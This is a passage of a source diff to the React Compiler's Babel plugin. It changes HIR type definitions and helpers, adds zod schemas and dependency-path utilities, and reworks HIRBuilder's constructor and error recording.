-  ReactiveFunctionArgument = "reactive-function-argument",
+  ReactiveFunctionArgument = 'reactive-function-argument',
 
-  Other = "other",
+  Other = 'other',
 }
 
 /*
@@ -1317,24 +1477,48 @@ export enum ValueReason {
  * see the main docblock for the module for details.
  */
 export enum ValueKind {
-  MaybeFrozen = "maybefrozen",
-  Frozen = "frozen",
-  Primitive = "primitive",
-  Global = "global",
-  Mutable = "mutable",
-  Context = "context",
+  MaybeFrozen = 'maybefrozen',
+  Frozen = 'frozen',
+  Primitive = 'primitive',
+  Global = 'global',
+  Mutable = 'mutable',
+  Context = 'context',
 }
 
+export const ValueKindSchema = z.enum([
+  ValueKind.MaybeFrozen,
+  ValueKind.Frozen,
+  ValueKind.Primitive,
+  ValueKind.Global,
+  ValueKind.Mutable,
+  ValueKind.Context,
+]);
+
+export const ValueReasonSchema = z.enum([
+  ValueReason.Context,
+  ValueReason.Effect,
+  ValueReason.Global,
+  ValueReason.HookCaptured,
+  ValueReason.HookReturn,
+  ValueReason.JsxCaptured,
+  ValueReason.KnownReturnSignature,
+  ValueReason.Other,
+  ValueReason.ReactiveFunctionArgument,
+  ValueReason.ReducerState,
+  ValueReason.State,
+]);
+
 // The effect with which a value is modified.
 export enum Effect {
   // Default value: not allowed after lifetime inference
-  Unknown = "<unknown>",
+  Unknown = '<unknown>',
   // This reference freezes the value (corresponds to a place where codegen should emit a freeze instruction)
-  Freeze = "freeze",
+  Freeze = 'freeze',
   // This reference reads the value
-  Read = "read",
+  Read = 'read',
   // This reference reads and stores the value
-  Capture = "capture",
+  Capture = 'capture',
+  ConditionallyMutateIterator = 'mutate-iterator?',
   /*
    * This reference *may* write to (mutate) the value. This covers two similar cases:
    * - The compiler is being conservative and assuming that a value *may* be mutated
@@ -1343,35 +1527,43 @@ export enum Effect {
    * In both cases, we conservatively assume that mutable values will be mutated.
    * But we do not error if the value is known to be immutable.
    */
-  ConditionallyMutate = "mutate?",
+  ConditionallyMutate = 'mutate?',
 
   /*
    * This reference *does* write to (mutate) the value. It is an error (invalid input)
    * if an immutable value flows into a location with this effect.
    */
-  Mutate = "mutate",
+  Mutate = 'mutate',
   // This reference may alias to (mutate) the value
-  Store = "store",
+  Store = 'store',
 }
+export const EffectSchema = z.enum([
+  Effect.Read,
+  Effect.Mutate,
+  Effect.ConditionallyMutate,
+  Effect.ConditionallyMutateIterator,
+  Effect.Capture,
+  Effect.Store,
+  Effect.Freeze,
+]);
 
 export function isMutableEffect(
   effect: Effect,
-  location: SourceLocation
+  location: SourceLocation,
 ): boolean {
   switch (effect) {
     case Effect.Capture:
     case Effect.Store:
     case Effect.ConditionallyMutate:
+    case Effect.ConditionallyMutateIterator:
     case Effect.Mutate: {
       return true;
     }
 
     case Effect.Unknown: {
       CompilerError.invariant(false, {
-        reason: "Unexpected unknown effect",
-        description: null,
+        reason: 'Unexpected unknown effect',
         loc: location,
-        suggestions: null,
       });
     }
     case Effect.Read:
@@ -1438,24 +1630,95 @@ export type ReactiveScopeDeclaration = {
   scope: ReactiveScope; // the scope in which the variable was originally declared
 };
 
+const opaquePropertyLiteral = Symbol();
+export type PropertyLiteral = (string | number) & {
+  [opaquePropertyLiteral]: 'PropertyLiteral';
+};
+export function makePropertyLiteral(value: string | number): PropertyLiteral {
+  return value as PropertyLiteral;
+}
+export type DependencyPathEntry = {
+  property: PropertyLiteral;
+  optional: boolean;
+  loc: SourceLocation;
+};
+export type DependencyPath = Array<DependencyPathEntry>;
 export type ReactiveScopeDependency = {
   identifier: Identifier;
-  path: Array<string>;
+  /**
+   * Reflects whether the base identifier is reactive. Note that some reactive
+   * objects may have non-reactive properties, but we do not currently track
+   * this.
+   *
+   * ```js
+   * // Technically, result[0] is reactive and result[1] is not.
+   * // Currently, both dependencies would be marked as reactive.
+   * const result = useState();
+   * ```
+   */
+  reactive: boolean;
+  path: DependencyPath;
+  loc: SourceLocation;
 };
 
+export function areEqualPaths(a: DependencyPath, b: DependencyPath): boolean {
+  return (
+    a.length === b.length &&
+    a.every(
+      (item, ix) =>
+        item.property === b[ix].property && item.optional === b[ix].optional,
+    )
+  );
+}
+export function isSubPath(
+  subpath: DependencyPath,
+  path: DependencyPath,
+): boolean {
+  return (
+    subpath.length <= path.length &&
+    subpath.every(
+      (item, ix) =>
+        item.property === path[ix].property &&
+        item.optional === path[ix].optional,
+    )
+  );
+}
+export function isSubPathIgnoringOptionals(
+  subpath: DependencyPath,
+  path: DependencyPath,
+): boolean {
+  return (
+    subpath.length <= path.length &&
+    subpath.every((item, ix) => item.property === path[ix].property)
+  );
+}
+
+export function getPlaceScope(
+  id: InstructionId,
+  place: Place,
+): ReactiveScope | null {
+  const scope = place.identifier.scope;
+  if (scope !== null && isScopeActive(scope, id)) {
+    return scope;
+  }
+  return null;
+}
+
+function isScopeActive(scope: ReactiveScope, id: InstructionId): boolean {
+  return id >= scope.range.start && id < scope.range.end;
+}
+
 /*
  * Simulated opaque type for BlockIds to prevent using normal numbers as block ids
  * accidentally.
  */
 const opaqueBlockId = Symbol();
-export type BlockId = number & { [opaqueBlockId]: "BlockId" };
+export type BlockId = number & {[opaqueBlockId]: 'BlockId'};
 
 export function makeBlockId(id: number): BlockId {
   CompilerError.invariant(id >= 0 && Number.isInteger(id), {
-    reason: "Expected block id to be a non-negative integer",
-    description: null,
-    loc: null,
-    suggestions: null,
+    reason: 'Expected block id to be a non-negative integer',
+    loc: GeneratedSource,
   });
   return id as BlockId;
 }
@@ -1465,14 +1728,12 @@ export function makeBlockId(id: number): BlockId {
  * accidentally.
  */
 const opaqueScopeId = Symbol();
-export type ScopeId = number & { [opaqueScopeId]: "ScopeId" };
+export type ScopeId = number & {[opaqueScopeId]: 'ScopeId'};
 
 export function makeScopeId(id: number): ScopeId {
   CompilerError.invariant(id >= 0 && Number.isInteger(id), {
-    reason: "Expected block id to be a non-negative integer",
-    description: null,
-    loc: null,
-    suggestions: null,
+    reason: 'Expected block id to be a non-negative integer',
+    loc: GeneratedSource,
   });
   return id as ScopeId;
 }
@@ -1482,106 +1743,232 @@ export function makeScopeId(id: number): ScopeId {
  * accidentally.
  */
 const opaqueIdentifierId = Symbol();
-export type IdentifierId = number & { [opaqueIdentifierId]: "IdentifierId" };
+export type IdentifierId = number & {[opaqueIdentifierId]: 'IdentifierId'};
 
 export function makeIdentifierId(id: number): IdentifierId {
   CompilerError.invariant(id >= 0 && Number.isInteger(id), {
-    reason: "Expected identifier id to be a non-negative integer",
-    description: null,
-    loc: null,
-    suggestions: null,
+    reason: 'Expected identifier id to be a non-negative integer',
+    loc: GeneratedSource,
   });
   return id as IdentifierId;
 }
 
+/*
+ * Simulated opaque type for IdentifierId to prevent using normal numbers as ids
+ * accidentally.
+ */
+const opageDeclarationId = Symbol();
+export type DeclarationId = number & {[opageDeclarationId]: 'DeclarationId'};
+
+export function makeDeclarationId(id: number): DeclarationId {
+  CompilerError.invariant(id >= 0 && Number.isInteger(id), {
+    reason: 'Expected declaration id to be a non-negative integer',
+    loc: GeneratedSource,
+  });
+  return id as DeclarationId;
+}
+
 /*
  * Simulated opaque type for InstructionId to prevent using normal numbers as ids
  * accidentally.
  */
 const opaqueInstructionId = Symbol();
-export type InstructionId = number & { [opaqueInstructionId]: "IdentifierId" };
+export type InstructionId = number & {[opaqueInstructionId]: 'IdentifierId'};
 
 export function makeInstructionId(id: number): InstructionId {
   CompilerError.invariant(id >= 0 && Number.isInteger(id), {
-    reason: "Expected instruction id to be a non-negative integer",
-    description: null,
-    loc: null,
-    suggestions: null,
+    reason: 'Expected instruction id to be a non-negative integer',
+    loc: GeneratedSource,
   });
   return id as InstructionId;
 }
 
 export function isObjectMethodType(id: Identifier): boolean {
-  return id.type.kind == "ObjectMethod";
+  return id.type.kind == 'ObjectMethod';
 }
 
 export function isObjectType(id: Identifier): boolean {
-  return id.type.kind === "Object";
+  return id.type.kind === 'Object';
 }
 
 export function isPrimitiveType(id: Identifier): boolean {
-  return id.type.kind === "Primitive";
+  return id.type.kind === 'Primitive';
+}
+
+export function isPlainObjectType(id: Identifier): boolean {
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInObject';
 }
 
 export function isArrayType(id: Identifier): boolean {
-  return id.type.kind === "Object" && id.type.shapeId === "BuiltInArray";
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInArray';
+}
+
+export function isMapType(id: Identifier): boolean {
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInMap';
+}
+
+export function isSetType(id: Identifier): boolean {
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInSet';
+}
+
+export function isPropsType(id: Identifier): boolean {
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInProps';
 }
 
 export function isRefValueType(id: Identifier): boolean {
-  return id.type.kind === "Object" && id.type.shapeId === "BuiltInRefValue";
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInRefValue';
 }
 
 export function isUseRefType(id: Identifier): boolean {
-  return id.type.kind === "Object" && id.type.shapeId === "BuiltInUseRefId";
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseRefId';
 }
 
 export function isUseStateType(id: Identifier): boolean {
-  return id.type.kind === "Object" && id.type.shapeId === "BuiltInUseState";
+  return id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseState';
+}
+
+export function isJsxType(type: Type): boolean {
+  return type.kind === 'Object' && type.shapeId === 'BuiltInJsx';
+}
+
+export function isRefOrRefValue(id: Identifier): boolean {
+  return isUseRefType(id) || isRefValueType(id);
+}
+
+/*
+ * Returns true if the type is a Ref or a custom user type that acts like a ref when it
+ * shouldn't. For now the only other case of this is Reanimated's shared values.
+ */
+export function isRefOrRefLikeMutableType(type: Type): boolean {
+  return (
+    type.kind === 'Object' &&
+    (type.shapeId === 'BuiltInUseRefId' ||
+      type.shapeId == 'ReanimatedSharedValueId')
+  );
 }
 
 export function isSetStateType(id: Identifier): boolean {
-  return id.type.kind === "Function" && id.type.shapeId === "BuiltInSetState";
+  return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInSetState';
 }
 
 export function isUseActionStateType(id: Identifier): boolean {
   return (
-    id.type.kind === "Object" && id.type.shapeId === "BuiltInUseActionState"
+    id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseActionState'
+  );
+}
+
+export function isStartTransitionType(id: Identifier): boolean {
+  return (
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInStartTransition'
+  );
+}
+
+export function isUseOptimisticType(id: Identifier): boolean {
+  return (
+    id.type.kind === 'Object' && id.type.shapeId === 'BuiltInUseOptimistic'
+  );
+}
+
+export function isSetOptimisticType(id: Identifier): boolean {
+  return (
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInSetOptimistic'
   );
 }
 
 export function isSetActionStateType(id: Identifier): boolean {
   return (
-    id.type.kind === "Function" && id.type.shapeId === "BuiltInSetActionState"
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInSetActionState'
   );
 }
 
 export function isUseReducerType(id: Identifier): boolean {
-  return id.type.kind === "Function" && id.type.shapeId === "BuiltInUseReducer";
+  return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseReducer';
 }
 
 export function isDispatcherType(id: Identifier): boolean {
-  return id.type.kind === "Function" && id.type.shapeId === "BuiltInDispatch";
+  return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInDispatch';
+}
+
+export function isEffectEventFunctionType(id: Identifier): boolean {
+  return (
+    id.type.kind === 'Function' &&
+    id.type.shapeId === 'BuiltInEffectEventFunction'
+  );
 }
 
 export function isStableType(id: Identifier): boolean {
-  return isSetStateType(id) || isSetActionStateType(id) || isDispatcherType(id);
+  return (
+    isSetStateType(id) ||
+    isSetActionStateType(id) ||
+    isDispatcherType(id) ||
+    isUseRefType(id) ||
+    isStartTransitionType(id) ||
+    isSetOptimisticType(id)
+  );
+}
+
+export function isStableTypeContainer(id: Identifier): boolean {
+  const type_ = id.type;
+  if (type_.kind !== 'Object') {
+    return false;
+  }
+  return (
+    isUseStateType(id) || // setState
+    isUseActionStateType(id) || // setActionState
+    isUseReducerType(id) || // dispatcher
+    isUseOptimisticType(id) || // setOptimistic
+    type_.shapeId === 'BuiltInUseTransition' // startTransition
+  );
+}
+
+export function evaluatesToStableTypeOrContainer(
+  env: Environment,
+  {value}: Instruction,
+): boolean {
+  if (value.kind === 'CallExpression' || value.kind === 'MethodCall') {
+    const callee =
+      value.kind === 'CallExpression' ? value.callee : value.property;
+
+    const calleeHookKind = getHookKind(env, callee.identifier);
+    switch (calleeHookKind) {
+      case 'useState':
+      case 'useReducer':
+      case 'useActionState':
+      case 'useRef':
+      case 'useTransition':
+      case 'useOptimistic':
+        return true;
+    }
+  }
+  return false;
 }
 
 export function isUseEffectHookType(id: Identifier): boolean {
   return (
-    id.type.kind === "Function" && id.type.shapeId === "BuiltInUseEffectHook"
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseEffectHook'
   );
 }
 export function isUseLayoutEffectHookType(id: Identifier): boolean {
   return (
-    id.type.kind === "Function" &&
-    id.type.shapeId === "BuiltInUseLayoutEffectHook"
+    id.type.kind === 'Function' &&
+    id.type.shapeId === 'BuiltInUseLayoutEffectHook'
   );
 }
 export function isUseInsertionEffectHookType(id: Identifier): boolean {
   return (
-    id.type.kind === "Function" &&
-    id.type.shapeId === "BuiltInUseInsertionEffectHook"
+    id.type.kind === 'Function' &&
+    id.type.shapeId === 'BuiltInUseInsertionEffectHook'
+  );
+}
+export function isUseEffectEventType(id: Identifier): boolean {
+  return (
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseEffectEvent'
+  );
+}
+
+export function isUseContextHookType(id: Identifier): boolean {
+  return (
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseContextHook'
   );
 }
 
@@ -1591,19 +1978,19 @@ export function getHookKind(env: Environment, id: Identifier): HookKind | null {
 
 export function isUseOperator(id: Identifier): boolean {
   return (
-    id.type.kind === "Function" && id.type.shapeId === "BuiltInUseOperator"
+    id.type.kind === 'Function' && id.type.shapeId === 'BuiltInUseOperator'
   );
 }
 
 export function getHookKindForType(
   env: Environment,
-  type: Type
+  type: Type,
 ): HookKind | null {
-  if (type.kind === "Function") {
+  if (type.kind === 'Function') {
     const signature = env.getFunctionSignature(type);
     return signature?.hookKind ?? null;
   }
   return null;
 }
 
-export * from "./Types";
+export * from './Types';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/HIRBuilder.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/HIRBuilder.ts
index 0342d57ea313..71874b0afb1d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/HIRBuilder.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/HIRBuilder.ts
@@ -5,10 +5,15 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { Binding, NodePath } from "@babel/traverse";
-import * as t from "@babel/types";
-import { CompilerError } from "../CompilerError";
-import { Environment } from "./Environment";
+import {Binding, NodePath} from '@babel/traverse';
+import * as t from '@babel/types';
+import {
+  CompilerError,
+  CompilerDiagnostic,
+  CompilerErrorDetail,
+  ErrorCategory,
+} from '../CompilerError';
+import {Environment} from './Environment';
 import {
   BasicBlock,
   BlockId,
@@ -25,16 +30,18 @@ import {
   Terminal,
   VariableBinding,
   makeBlockId,
+  makeDeclarationId,
   makeIdentifierName,
   makeInstructionId,
+  makeTemporaryIdentifier,
   makeType,
-} from "./HIR";
-import { printInstruction } from "./PrintHIR";
+} from './HIR';
+import {printInstruction} from './PrintHIR';
 import {
   eachTerminalSuccessor,
   mapTerminalSuccessors,
   terminalFallthrough,
-} from "./visitors";
+} from './visitors';
 
 /*
  * *******************************************************************************************
@@ -54,31 +61,31 @@ export type WipBlock = {
 type Scope = LoopScope | LabelScope | SwitchScope;
 
 type LoopScope = {
-  kind: "loop";
+  kind: 'loop';
   label: string | null;
   continueBlock: BlockId;
   breakBlock: BlockId;
 };
 
 type SwitchScope = {
-  kind: "switch";
+  kind: 'switch';
   breakBlock: BlockId;
   label: string | null;
 };
 
 type LabelScope = {
-  kind: "label";
+  kind: 'label';
   label: string;
   breakBlock: BlockId;
 };
 
 function newBlock(id: BlockId, kind: BlockKind): WipBlock {
-  return { id, kind, instructions: [] };
+  return {id, kind, instructions: []};
 }
 
 export type Bindings = Map<
   string,
-  { node: t.Identifier; identifier: Identifier }
+  {node: t.Identifier; identifier: Identifier}
 >;
 
 /*
@@ -90,13 +97,13 @@ export type ExceptionsMode =
    * Mode used for code not covered by explicit exception handling, any
    * errors are assumed to be thrown out of the function
    */
-  | { kind: "ThrowExceptions" }
+  | {kind: 'ThrowExceptions'}
   /*
    * Mode used for code that *is* covered by explicit exception handling
    * (ie try/catch), which requires modeling the possibility of control
    * flow to the exception handler.
    */
-  | { kind: "CatchExceptions"; handler: BlockId };
+  | {kind: 'CatchExceptions'; handler: BlockId};
 
 // Helper class for constructing a CFG
 export default class HIRBuilder {
@@ -104,18 +111,21 @@ export default class HIRBuilder {
   #current: WipBlock;
   #entry: BlockId;
   #scopes: Array<Scope> = [];
-  #context: Array<t.Identifier>;
+  #context: Map<t.Identifier, SourceLocation>;
   #bindings: Bindings;
   #env: Environment;
   #exceptionHandlerStack: Array<BlockId> = [];
-  parentFunction: NodePath<t.Function>;
-  errors: CompilerError = new CompilerError();
+  /**
+   * Traversal context: counts the number of `fbt` tag parents
+   * of the current babel node.
+   */
+  fbtDepth: number = 0;
 
   get nextIdentifierId(): IdentifierId {
     return this.#env.nextIdentifierId;
   }
 
-  get context(): Array<t.Identifier> {
+  get context(): Map<t.Identifier, SourceLocation> {
     return this.#context;
   }
 
@@ -129,16 +139,21 @@ export default class HIRBuilder {
 
   constructor(
     env: Environment,
-    parentFunction: NodePath<t.Function>, // the outermost function being compiled
-    bindings: Bindings | null = null,
-    context: Array<t.Identifier> | null = null
+    options?: {
+      bindings?: Bindings | null;
+      context?: Map<t.Identifier, SourceLocation>;
+      entryBlockKind?: BlockKind;
+    },
   ) {
     this.#env = env;
-    this.#bindings = bindings ?? new Map();
-    this.parentFunction = parentFunction;
-    this.#context = context ?? [];
+    this.#bindings = options?.bindings ?? new Map();
+    this.#context = options?.context ?? new Map();
     this.#entry = makeBlockId(env.nextBlockId);
-    this.#current = newBlock(this.#entry, "block");
+    this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');
+  }
+
+  recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
+    this.#env.recordError(error);
   }
 
   currentBlockKind(): BlockKind {
@@ -153,13 +168,14 @@ export default class HIRBuilder {
       const continuationBlock = this.reserve(this.currentBlockKind());
       this.terminateWithContinuation(
         {
-          kind: "maybe-throw",
+          kind: 'maybe-throw',
           continuation: continuationBlock.id,
           handler: exceptionHandler,
           id: makeInstructionId(0),
           loc: instruction.loc,
+          effects: null,
         },
-        continuationBlock
+        continuationBlock,
       );
     }
   }
@@ -177,18 +193,11 @@ export default class HIRBuilder {
 
   makeTemporary(loc: SourceLocation): Identifier {
     const id = this.nextIdentifierId;
-    return {
-      id,
-      name: null,
-      mutableRange: { start: makeInstructionId(0), end: makeInstructionId(0) },
-      scope: null,
-      type: makeType(),
-      loc,
-    };
+    return makeTemporaryIdentifier(id, loc);
   }
 
   #resolveBabelBinding(
-    path: NodePath<t.Identifier | t.JSXIdentifier>
+    path: NodePath<t.Identifier | t.JSXIdentifier>,
   ): Binding | null {
     const originalName = path.node.name;
     const binding = path.scope.getBinding(originalName);
@@ -229,24 +238,24 @@ export default class HIRBuilder {
    * ```
    */
   resolveIdentifier(
-    path: NodePath<t.Identifier | t.JSXIdentifier>
+    path: NodePath<t.Identifier | t.JSXIdentifier>,
   ): VariableBinding {
     const originalName = path.node.name;
     const babelBinding = this.#resolveBabelBinding(path);
     if (babelBinding == null) {
-      return { kind: "Global", name: originalName };
+      return {kind: 'Global', name: originalName};
     }
 
     // Check if the binding is from module scope
     const outerBinding =
-      this.parentFunction.scope.parent.getBinding(originalName);
+      this.#env.parentFunction.scope.parent.getBinding(originalName);
     if (babelBinding === outerBinding) {
       const path = babelBinding.path;
       if (path.isImportDefaultSpecifier()) {
         const importDeclaration =
           path.parentPath as NodePath<t.ImportDeclaration>;
         return {
-          kind: "ImportDefault",
+          kind: 'ImportDefault',
           name: originalName,
           module: importDeclaration.node.source.value,
         };
@@ -254,11 +263,11 @@ export default class HIRBuilder {
         const importDeclaration =
           path.parentPath as NodePath<t.ImportDeclaration>;
         return {
-          kind: "ImportSpecifier",
+          kind: 'ImportSpecifier',
           name: originalName,
           module: importDeclaration.node.source.value,
           imported:
-            path.node.imported.type === "Identifier"
+            path.node.imported.type === 'Identifier'
               ? path.node.imported.name
               : path.node.imported.value,
         };
@@ -266,13 +275,13 @@ export default class HIRBuilder {
         const importDeclaration =
           path.parentPath as NodePath<t.ImportDeclaration>;
         return {
-          kind: "ImportNamespace",
+          kind: 'ImportNamespace',
           name: originalName,
           module: importDeclaration.node.source.value,
         };
       } else {
         return {
-          kind: "ModuleLocal",
+          kind: 'ModuleLocal',
           name: originalName,
         };
       }
@@ -283,7 +292,7 @@ export default class HIRBuilder {
       babelBinding.scope.rename(originalName, resolvedBinding.name.value);
     }
     return {
-      kind: "Identifier",
+      kind: 'Identifier',
       identifier: resolvedBinding,
       bindingKind: babelBinding.kind,
     };
@@ -293,8 +302,8 @@ export default class HIRBuilder {
     const binding = this.#resolveBabelBinding(path);
     if (binding) {
       // Check if the binding is from module scope, if so return null
-      const outerBinding = this.parentFunction.scope.parent.getBinding(
-        path.node.name
+      const outerBinding = this.#env.parentFunction.scope.parent.getBinding(
+        path.node.name,
       );
       if (binding === outerBinding) {
         return false;
@@ -306,6 +315,30 @@ export default class HIRBuilder {
   }
 
   resolveBinding(node: t.Identifier): Identifier {
+    if (node.name === 'fbt') {
+      this.recordError(
+        new CompilerErrorDetail({
+          category: ErrorCategory.Todo,
+          reason: 'Support local variables named `fbt`',
+          description:
+            'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
+          loc: node.loc ?? GeneratedSource,
+          suggestions: null,
+        }),
+      );
+    }
+    if (node.name === 'this') {
+      this.recordError(
+        new CompilerErrorDetail({
+          category: ErrorCategory.UnsupportedSyntax,
+          reason: '`this` is not supported syntax',
+          description:
+            'React Compiler does not support compiling functions that use `this`',
+          loc: node.loc ?? GeneratedSource,
+          suggestions: null,
+        }),
+      );
+    }
     const originalName = node.name;
     let name = originalName;
     let index = 0;
@@ -315,6 +348,7 @@ export default class HIRBuilder {
         const id = this.nextIdentifierId;
         const identifier: Identifier = {
           id,
+          declarationId: makeDeclarationId(id),
           name: makeIdentifierName(name),
           mutableRange: {
             start: makeInstructionId(0),
@@ -324,7 +358,8 @@ export default class HIRBuilder {
           type: makeType(),
           loc: node.loc ?? GeneratedSource,
         };
-        this.#bindings.set(name, { node, identifier });
+        this.#env.programContext.addNewReference(name);
+        this.#bindings.set(name, {node, identifier});
         return identifier;
       } else if (mapping.node === node) {
         return mapping.identifier;
@@ -345,15 +380,18 @@ export default class HIRBuilder {
       if (
         !rpoBlocks.has(id) &&
         block.instructions.some(
-          (instr) => instr.value.kind === "FunctionExpression"
+          instr => instr.value.kind === 'FunctionExpression',
         )
       ) {
-        CompilerError.throwTodo({
-          reason: `Support functions with unreachable code that may contain hoisted declarations`,
-          loc: block.instructions[0]?.loc ?? block.terminal.loc,
-          description: null,
-          suggestions: null,
-        });
+        this.recordError(
+          new CompilerErrorDetail({
+            reason: `Support functions with unreachable code that may contain hoisted declarations`,
+            loc: block.instructions[0]?.loc ?? block.terminal.loc,
+            description: null,
+            suggestions: null,
+            category: ErrorCategory.Todo,
+          }),
+        );
       }
     }
     ir.blocks = rpoBlocks;
@@ -368,8 +406,8 @@ export default class HIRBuilder {
   }
 
   // Terminate the current block w the given terminal, and start a new block
-  terminate(terminal: Terminal, nextBlockKind: BlockKind | null): void {
-    const { id: blockId, kind, instructions } = this.#current;
+  terminate(terminal: Terminal, nextBlockKind: BlockKind | null): BlockId {
+    const {id: blockId, kind, instructions} = this.#current;
     this.#completed.set(blockId, {
       kind,
       id: blockId,
@@ -382,6 +420,7 @@ export default class HIRBuilder {
       const nextId = this.#env.nextBlockId;
       this.#current = newBlock(nextId, nextBlockKind);
     }
+    return blockId;
   }
 
   /*
@@ -389,7 +428,7 @@ export default class HIRBuilder {
    * reserved block as the new current block
    */
   terminateWithContinuation(terminal: Terminal, continuation: WipBlock): void {
-    const { id: blockId, kind, instructions } = this.#current;
+    const {id: blockId, kind, instructions} = this.#current;
     this.#completed.set(blockId, {
       kind: kind,
       id: blockId,
@@ -412,7 +451,7 @@ export default class HIRBuilder {
 
   // Save a previously reserved block as completed
   complete(block: WipBlock, terminal: Terminal): void {
-    const { id: blockId, kind, instructions } = block;
+    const {id: blockId, kind, instructions} = block;
     this.#completed.set(blockId, {
       kind,
       id: blockId,
@@ -431,7 +470,7 @@ export default class HIRBuilder {
     const current = this.#current;
     this.#current = wip;
     const terminal = fn();
-    const { id: blockId, kind, instructions } = this.#current;
+    const {id: blockId, kind, instructions} = this.#current;
     this.#completed.set(blockId, {
       kind,
       id: blockId,
@@ -459,7 +498,7 @@ export default class HIRBuilder {
 
   label<T>(label: string, breakBlock: BlockId, fn: () => T): T {
     this.#scopes.push({
-      kind: "label",
+      kind: 'label',
       breakBlock,
       label,
     });
@@ -467,22 +506,20 @@ export default class HIRBuilder {
     const last = this.#scopes.pop();
     CompilerError.invariant(
       last != null &&
-        last.kind === "label" &&
+        last.kind === 'label' &&
         last.label === label &&
         last.breakBlock === breakBlock,
       {
-        reason: "Mismatched label",
-        description: null,
-        loc: null,
-        suggestions: null,
-      }
+        reason: 'Mismatched label',
+        loc: GeneratedSource,
+      },
     );
     return value;
   }
 
   switch<T>(label: string | null, breakBlock: BlockId, fn: () => T): T {
     this.#scopes.push({
-      kind: "switch",
+      kind: 'switch',
       breakBlock,
       label,
     });
@@ -490,15 +527,13 @@ export default class HIRBuilder {
     const last = this.#scopes.pop();
     CompilerError.invariant(
       last != null &&
-        last.kind === "switch" &&
+        last.kind === 'switch' &&
         last.label === label &&
         last.breakBlock === breakBlock,
       {
-        reason: "Mismatched label",
-        description: null,
-        loc: null,
-        suggestions: null,
-      }
+        reason: 'Mismatched label',
+        loc: GeneratedSource,
+      },
     );
     return value;
   }
@@ -513,10 +548,10 @@ export default class HIRBuilder {
     continueBlock: BlockId,
     // block following the loop. "break" jumps here.
     breakBlock: BlockId,
-    fn: () => T
+    fn: () => T,
   ): T {
     this.#scopes.push({
-      kind: "loop",
+      kind: 'loop',
       label,
       continueBlock,
       breakBlock,
@@ -525,16 +560,14 @@ export default class HIRBuilder {
     const last = this.#scopes.pop();
     CompilerError.invariant(
       last != null &&
-        last.kind === "loop" &&
+        last.kind === 'loop' &&
         last.label === label &&
         last.continueBlock === continueBlock &&
         last.breakBlock === breakBlock,
       {
-        reason: "Mismatched loops",
-        description: null,
-        loc: null,
-        suggestions: null,
-      }
+        reason: 'Mismatched loops',
+        loc: GeneratedSource,
+      },
     );
     return value;
   }
@@ -548,17 +581,15 @@ export default class HIRBuilder {
       const scope = this.#scopes[ii];
       if (
         (label === null &&
-          (scope.kind === "loop" || scope.kind === "switch")) ||
+          (scope.kind === 'loop' || scope.kind === 'switch')) ||
         label === scope.label
       ) {
         return scope.breakBlock;
       }
     }
     CompilerError.invariant(false, {
-      reason: "Expected a loop or switch to be in scope",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Expected a loop or switch to be in scope',
+      loc: GeneratedSource,
     });
   }
 
@@ -570,24 +601,20 @@ export default class HIRBuilder {
   lookupContinue(label: string | null): BlockId {
     for (let ii = this.#scopes.length - 1; ii >= 0; ii--) {
       const scope = this.#scopes[ii];
-      if (scope.kind === "loop") {
+      if (scope.kind === 'loop') {
         if (label === null || label === scope.label) {
           return scope.continueBlock;
         }
       } else if (label !== null && scope.label === label) {
         CompilerError.invariant(false, {
-          reason: "Continue may only refer to a labeled loop",
-          description: null,
-          loc: null,
-          suggestions: null,
+          reason: 'Continue may only refer to a labeled loop',
+          loc: GeneratedSource,
         });
       }
     }
     CompilerError.invariant(false, {
-      reason: "Expected a loop to be in scope",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Expected a loop to be in scope',
+      loc: GeneratedSource,
     });
   }
 }
@@ -608,9 +635,7 @@ function _shrink(func: HIR): void {
     const block = func.blocks.get(blockId);
     CompilerError.invariant(block != null, {
       reason: `expected block ${blockId} to exist`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
     target = getTargetIfIndirection(block);
     if (target !== null) {
@@ -633,7 +658,7 @@ function _shrink(func: HIR): void {
     }
     reachable.add(blockId);
     const block = func.blocks.get(blockId)!;
-    block.terminal = mapTerminalSuccessors(block.terminal, (prevTarget) => {
+    block.terminal = mapTerminalSuccessors(block.terminal, prevTarget => {
       const target = resolveBlockTarget(prevTarget);
       queue.push(target);
       return target;
@@ -649,7 +674,7 @@ function _shrink(func: HIR): void {
 export function removeUnreachableForUpdates(fn: HIR): void {
   for (const [, block] of fn.blocks) {
     if (
-      block.terminal.kind === "for" &&
+      block.terminal.kind === 'for' &&
       block.terminal.update !== null &&
       !fn.blocks.has(block.terminal.update)
     ) {
@@ -670,10 +695,10 @@ export function removeDeadDoWhileStatements(func: HIR): void {
    * MergeConsecutiveBlocks figures out how to merge as appropriate.
    */
   for (const [_, block] of func.blocks) {
-    if (block.terminal.kind === "do-while") {
+    if (block.terminal.kind === 'do-while') {
       if (!visited.has(block.terminal.test)) {
         block.terminal = {
-          kind: "goto",
+          kind: 'goto',
           block: block.terminal.loop,
           variant: GotoVariant.Break,
